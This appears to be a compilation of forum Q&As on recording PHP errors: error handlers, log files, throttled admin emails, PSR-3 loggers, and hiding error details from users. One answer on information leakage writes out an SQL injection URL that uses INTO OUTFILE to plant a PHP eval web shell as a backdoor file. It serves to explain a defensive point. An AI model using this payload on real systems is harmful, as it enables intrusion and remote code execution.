What is the best way to record errors experienced by the user?
My initial thought was to make a function that recorded the error with a unique number and maybe a dump of the variables into a record on the database.
Is there a better approach? Should I use a text file log instead?
How about overriding the default PHP errorhandler?
This site should give some basic information: http://www.php.net/manual/en/function.set-error-handler.php and the first comment on http://www.php.net/manual/en/function.set-exception-handler.php
You might also want to store database errors, perhaps some kind of custom function that allows you to use code like:
<?php
$objQueryResult = mysql_query("query here") or some_kind_of_function_here();
?>
You might want to store the recorded errors in a file, which is outside your public html root folder, to make sure people can't access it by accident.
I would also assume, you'd want to store a complete stacktrace in such a file, because then you can actually debug the problem.
When overriding the default errorhandlers, please note you don't forget to send a nice message to the user (and exit the script, when needed).
I would recommend storing:
$_POST
$_GET
A complete dump of
debug_print_backtrace()
Possibly the SQL that triggered this?
I would suggest you to use debug_print_backtrace() to make sure you get a summary of data. The debug_backtrace() function gives about the same information, but it can sometimes just give you too much information.
The code you could use to catch backtraces:
<?php
ob_start();
debug_print_backtrace();
$trace = ob_get_contents();
ob_end_clean();
?>
To store this, you could use a plain text output, if you don't get too much errors, otherwise perhaps use something like sqlite? - Just don't use the same SQL connection to store the errors, as that might trigger more problems, if you're having webserver to SQL connection errors.
Well, at least writing to text files on the local system should be less error prone, thus allowing you to catch DB errors too :)
I would prefer to write a decent dump of the current state to a simple log file. In addition to your "own" state (i.e. your application's variables and objects), you might consider doing a phpinfo() to get inspiration as to which environment and request variables to include.
PEAR::Log is handy for this kind of logging. e.g.
$logger->alert("your message");
$logger->warning("your message");
$logger->notice("your message");
etc.
You can log to a file or to a database, I wrote a PDO enabled sqlite extension , pretty simple.
These are handy to put into exception handling code too.
PEAR::Log
Records: id, logtime, identity, severity 1-7( ie "Alert"), and your message.
I think #Icheb's answer covers it all.
I have tried something new this year in a project that I thought I'd share.
For a PHP based content aggregation / distribution service, an application that runs quietly in the background on some server and you tend to forget, we needed an error reporting system that makes sure we notice errors.
Every error that occurs has an Error ID that is specified in the code:
$success = mysql_query(this_and_that);
if (!$success) log_error ("Failed Query: ".mysql_error(), "MYSQL_123");
Errors get logged in a file, but more importantly sent out by mail to the administrator, together with a full backtrace and variable dump.
To avoid flooding with mails - the service has tens of thousands of users on a good day - error mails get sent out only once every x hours for each error code. When an error of the same code occurs twice within that timespan, no additional mail will be sent. It means that every kind of error gets recorded, but you don't get killed by error messages when it's something that happens to hundreds or thousands of users.
This is fairly easy to implement; the art is getting the error IDs right. You can, for example, give every failed mySQL query in your system the same generic "MYSQL" Error ID. In most cases, that will be too generic and block too much. If you give each mySQL query a unique error ID, you might get flowed with mails and the filtering effect is gone. But wWhen grouped intelligently, this can be a very good setup.
From the usability point of view, the user should not Ever experience errors.
Depending on the error you should make different strategies:
non catchable errors or difficult to catch from PHP, read the logs for each application
Apache
MySQL and DB errors, transactions
prepare php with "site being updated" or error controllers for emergencies.
PHP errors
these should be detected through Exceptions
silenced but not forgotten, don't try to fix them on the fly
log them and treat them
interface errors
an advice: allow user to submit suggestions or bugs
I know this does't cover all, is only an addendum to the others have suggested.
Related
I am working on a rather large website and i need to log errors that users may face while using the website.
Here is how it will work:
>if operation passed
#operation success
>else
#Log the failure
log()
>email admin
>create log
What i need to know is the best practice for creating this log, because there are several methods for doing this.
text based
database
There is possibly a better method for doing this as well, which is why i'm asking stack overflow.
Just tell me how you would go about doing this, and i will do the rest of the research and coding on my own.
I find using a 3rd party service like airbrake.io or pagerduty.com is best. Basically, they handle creating a ticket and logging everything as well as notifying the proper people about the incident. Yes, you can write up your own system the way you mention via emailing an admin and creating your own logs... but then you will also have to worry about updating the email list and emailing the right people at the right time... What if you're on vacation? Who is to get the email at that point? 3rd party services manage all that for you.
You can use (and probably should use) open source logging frameworks for the language you are working in. They will provide you with nice wrappers for all your logging needs, most have the option to email logs to you (and even upload files to remote directories).
If you wish to create your own logging system, this is how I would personally do it:
Make a log directory
Create a log file (plain text) each hour (or day or X units of time) using a naming scheme
Write 1 line to the file with the time, then some delimiter, then the error (including error codes/messages etc)
Every time an hour or day passes, you would make a new file and email the previous file to yourself (or admin). You can also send an immediate email for fatal errors/issues. I wouldn't really use a database personally.
I implemented such a logging system for a online script that talks to a gaming server. The end result is a directory of files filled with logs for each hour of each day. Files older than 30 days are also deleted. It allows me to check on how things are going easily and pinpoint certain events/issues that players on the game server experience. However, I only wrote my own logger as there was no script that did this for my game.
First of all, since it was mentioned in the comments, we should differntiate the php error log from a custom application log:
The php error log logs errors of a certain level (notices, errors, warnings depending on your error_reporting() settings) while interpreting your php files. That means when you are trying to use an array key which was not set before a warning would be generated and either printed to the screen or logged to your php error log file.
A custom application logger on the other side logs custom messages which might contain warnings and errors regarding the application logic and which are able to be handled by the application.
When we compare the following two code examples:
<?php
error_reporting(E_ALL|E_STRICT);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', sys_get_temp_dir() . '/php_error.log');
updateUser($_POST['user_id']);
// Assuming $_POST['user_id'] was not set the above lines would produce a notice in your php_error.log stating the use of an undefined index 'user_id'
?>
Against:
// Instantiate your own logger or a 3rd party logger
$myLogger = new Logger(sys_get_temp_dir() . '/application.log');
if (!array_key_exists('user_id', $_POST)) {
$myLogger->error('Cannot update user since user_id was not set');
// Handle the error in the UI accordingly
header('Location: 404.php');
die();
}
updateUser($_POST['user_id']);
?>
For me personally it makes sense to separate these two types of errors in different log files: The php errors are usually a result of code which does not handle all imaginable cases (i.e. a user removes the hidden user_id field from a form manually) and are a hint for yourself that you should change your code to avoid the same error next time.
The second piece of code handles the exactly same use case but you considered this case while writing the code and the application is able to react somehow.
No matter if you decide pick a 3rd party logger or write your own: Think about using one which fulfils the PRS-3 logging standard to be able to make it exchangable when you i.e. decide to switch from file based logging to a database based logging mechanism. By doing so you won't have to change a lot of code when you decide to switch your loggers since the methods and general usage is standardised.
When writing your own logger, consider the following points:
Locking and unlocking your log file while writing to it
Log rotation (daily, weekly, monthly)
Deletion of old log files
Like stated above think about implementing PSR-3
I have a website that's written in PHP and uses intense level of JS coding. One of my clients has a very strange error. The site is empty and nothing is displayed. I can not reproduce the error in spite i use the same browser, the same OS and have much the same addons and firewall and antivirus.
So i would like to catch every one PHP and JS error or warning and put it in the error log (best - to database). Is there any ready, simple solution to acomplish this? I address this question to experienced web-developers.
Or is there any way to dump every data about user session while the error occurs that is easy to acomplish by no-tech user? I see it this way: when the user has this error, he clicks something (for example in extension or something) and this sends all session, error informations to me so I can figure out what is going on. Do you know any solution of this kind?
mplungjan's idea is good.
I would also ask the client to view the source of the page and send that to me to make sure it looks OK.
Your web server (e.g. apache) should keep a log file of every single PHP request and tell you whether errors occurred.
I don't know if there is a way to report javascript errors back to your server. If you were able to catch the error and send an AJAX request in your error handler to get logged on your server, that would work. But I think that some javascript errors (like syntax errors?) can not be caught with catch. I would ask the client to open the javascript console (or whatever it is called in his browser) and tell me all the errors he sees. You should eliminate all the errors eventually, and a good strategy to do that would be to focus on the first error that occurred.
I would run the page through a w3c validator to see if it is valid HTML/CSS.
Also, you should try the universal technique of simplifying the code down to the simplest possible thing that should work but doesn't work. That will either let you find the problem or produce something that is so small and simple that you can post it to Stack Overflow.
You need to differ between two types of errors: Client-side and Server-side.
A blank page can be both, but I would think most likely this is server-side.
For server-side errors you can log every error and even add own information like the session by registering your own error handler. You then can log errors into the database and append the session and request information as well as providing a backtrace. This will enable you to obtain more information.
For client side, David Grayson's answer has a suggestion.
I currently check every GET and POST variable with isset() and throw exceptions when isset() returns false.
Example 1:
if(!isset($_GET['some_var']))
throw new Exception('GET variable [some_var] is not set.');
$someVar = $_GET['some_var'];
Example 2:
if(!isset($_GET['some_num']))
throw new Exception('GET variable [some_num] is not set.');
if(!ctype_digit($_GET['some_num']))
throw new Exception('GET variable [some_num] is not a number.');
$someNum = $_GET['some_num'];
In my production application I have a global exception handler that posts exceptions and errors to a log file and then redirects to a generic apology page.
Is this an okay practice? Are descriptive exception and error messages such as the ones above security risks (is it possible that a hacker would be able to read the exception notice and then use that information to manipulate my scripts)?
Thanks!
Logging errors and suppressing output is exactly what you should be doing. Error reporting can be nasty..
In OWASP top 10 for 2007 there is Information Leakage and Improper Error Handling, however this was removed in 2010. By setting dispaly_errors=On in your php.ini you become vulnerable to CWE-200. The full path of your web application will be divulged to the attacker. To make matters worse, by having error reporting enabled it makes it easier to find SQL injection by looking for sql error messages.
When combining this on a PHP/MySQL application you can perform a very serious attack
$vuln_query="select name from user where id=".$_GET[id];
If
http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"
Which makes this full query:
select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"
I would make sure display_errors=Off and that file FILE privileges have been revoked to your web application's MySQL user account.
Displaying detailed errors to a user can be a security risk. Since in this case, they're only being written to a log file and the only data the user gets is a generic page which reveals nothing, you can be as descriptive as you like and you reveal nothing unless the log is compromised.
"is it possible that a hacker would be able to read the exception notice and then use that information to manipulate my scripts?"
Maybe.
Typically, you want to give the least amount of information possible to the end user in an error condition. In this case, if you tell someone a particular get variable doesn't exist, then they might try supplying random values to that variable to see how the app behaves.
Of course, you also have to balance this against the needs of your real users. If the variable is one that they would normally have control over, then giving the response about a problem with the value is perfectly acceptable.
UPDATE
Having recently run into a spate of web API's that seem to think throwing generic error messages is the way to go I want to update this slightly.
It is critical that web API's give an appropriate amount of information back to the consuming system so that they can figure out what's wrong and fix it.
In one recent case for a payment processing API their documentation was simply wrong. The test transaction data that they showed consistently returned with "Server Error 500" and we had no recourse but to get one of their developers on the phone and painstakingly step through each and every element in their XML. Out of 50 elements, only one had the same name as what was in their "developer documents"
In another integration we were given "Server Error 402". -- This one was NOT a payment gateway. Although never referenced in their doc's, apparently that message meant that a JSON parameter was missing. Incidentally, it was a parameter not referenced in their docs and again required time with their developer to identify it.
In both of the above cases it would have been incredibly helpful if the error message had responded with an example of a valid document post. Similar to how the old Unix/DOS commands would come back with the help info when you passed bad parameters. I really don't want to talk to other programmers. I know their time is expensive and they would much rather do something other than answer a support call; but more to the point, if I'm working at 10:00PM and need an answer RFN then waiting until a programmer can get on the phone the next day is rarely an option.
Usually it is considered insecure to print out PHP system error messages on a production server instead of silently logging it.
Though I can't find anything dangerous in the generic apologies page.
I am using CakePHP in PHP development. I have set my debug mode to 0 in core.php file.
Configure::write('debug', 1);
This setting will not show any error on site. So the user/developer will not be able to see errors. Thant's why I want to make something that will send me an email with error title and error code like Warning message, notice(8): like error messages. So that if error occurs, it wouldn't be ignored.
Thanks.
If you get an email every time an error occurs, you will be flooded until the error is fixed which is probably not very efficient or productive.
You could write an error emailing system with throttle control, where as soon as each error is raised from CakePHP it is placed in a database (perhaps keyed on md5(errortext)) and emailed immediately to whoever is interested. Then, next time the exact same error is encountered, the system will see that it's already in the database (same md5) and not email it again.
Also, can't CakePHP be configured to log the errors to a log file? Then you can check that for errors, either manually or via something like logcheck, which will run in a frequent schedule, check the CakePHP logfile for specific errors, and email out a summary if any new ones are found.
I think you could achieve this goal by overriding PHP's default error handler. The relevant PHP manual page: http://php.net/manual/en/function.set-error-handler.php
Basically, you'd just define a function (and tell your script to call that function on an error). Your definition needs to appropriately return false or die() on an error (otherwise the script will continue to execute). However, in that function you would be able to make a call to send emails.
Note that if you're doing it within CakePHP you may need to pass the current object as a parameter, otherwise it's likely that error handler you define won't tie in nicely with the other cake object stuff.
I'm just about to release an open source project that does this, and more. It collects errors, sends them to an issue tracker, detects duplicates, turns them into issues and emails staff.
Details are at https://sourceforge.net/news/?group_id=317819&id=293422 and the version 0.1.7 it mentions is due out in a couple of days.
The open source tracker is at http://elastik.sourceforge.net/
Any feedback welcome, Thanks
I'm working on the back-end of my website and I'm wondering how far I should be going to test for errors and throwing exceptions accordingly? Testing in the sense of improper usage of methods and functions. Not errors under correct usage.
My biggest concern is code bloat and uglying it up with a bunch of if/elses, type checks, and other such tests.
Should you go so far as to consider every possible way someone could use an object, catch all the improper uses, and throw exceptions to make it clear to the developer using it what they've done wrong?
Or is it a better approach to let the code break naturally (obviously catching and checking for things that would be a big deal, but not for every contingency), and depend on anyone using the code to read the available documentation and use it accordingly?
Are there any general best practices or guidelines to follow when handling such issues? I'm working in PHP, is there anything specific to PHP, although this issue is generally language wide?
Thanks for any help on the matter.
At least, your application should not "break" : when an error is detected (be it because you detected a problem could happen and avoided it, or because a problem did happen), you should display some nice error message, and, eventually, log the technical informations of the error.
About bloating the code : I would not put too much tests and all that in my code : it would end up in something hard to understand and maintain -- which is important !
What I generally try to do is :
Test for errors in the user-supplied data
Using a specific class, for instance, so those checks are not in the middle of the code that deals with database and business rules.
Those tests are relatively precise, in order to generate useful error messages for the user
For instance : "You should not input more than 20 characters"
Or "there is already a user with that e-mail address"
Basically, the important thing here is the user.
When user-supplied data seems OK, I work with it.
And there, if some error happens, it'll most likely be a technical error
Which should be logged
And only a "oops, an error occured" should be displayed to the user.
Which means that, here, tests are not as precise : we only need to know if it works or not -- not necessarily in great details.
Of course, in the end, you should ensure that the data in the DB is correct, and that you don't save only half of the data.
A common way of dealing with technical errors is using exceptions ; here is a very basic idea :
try {
// Begin transaction to the DB
// Some code that might fail and throw an Exception
// Some other code that might fail and throw an Exception
// Code here will not be executed if an Exception has been thrown
// Commit DB transaction
} catch (Exception $e) {
// Rollback transaction (cancels the queries that were sent to the DB)
// Log technical informations to a file
// Display a nice message
}
The great thing is that it allows one to place all error-handling code in a single place, and put less testing code in the middle of the important stuff ; i.e. "let it fail, we'll deal with the problems later"
I usually just go as far as making sure method input parameters and/or public members are filled and of the proper type (string, int, etc...). Other than that I just let it break naturally. (If people aren't going to bother reading the documentation, they kind of deserve to have things break a little.)
As I see it, you don't bloat your code with error-checks, who's only purpose would be to support the laziness of your co-workers/clients/random-developers.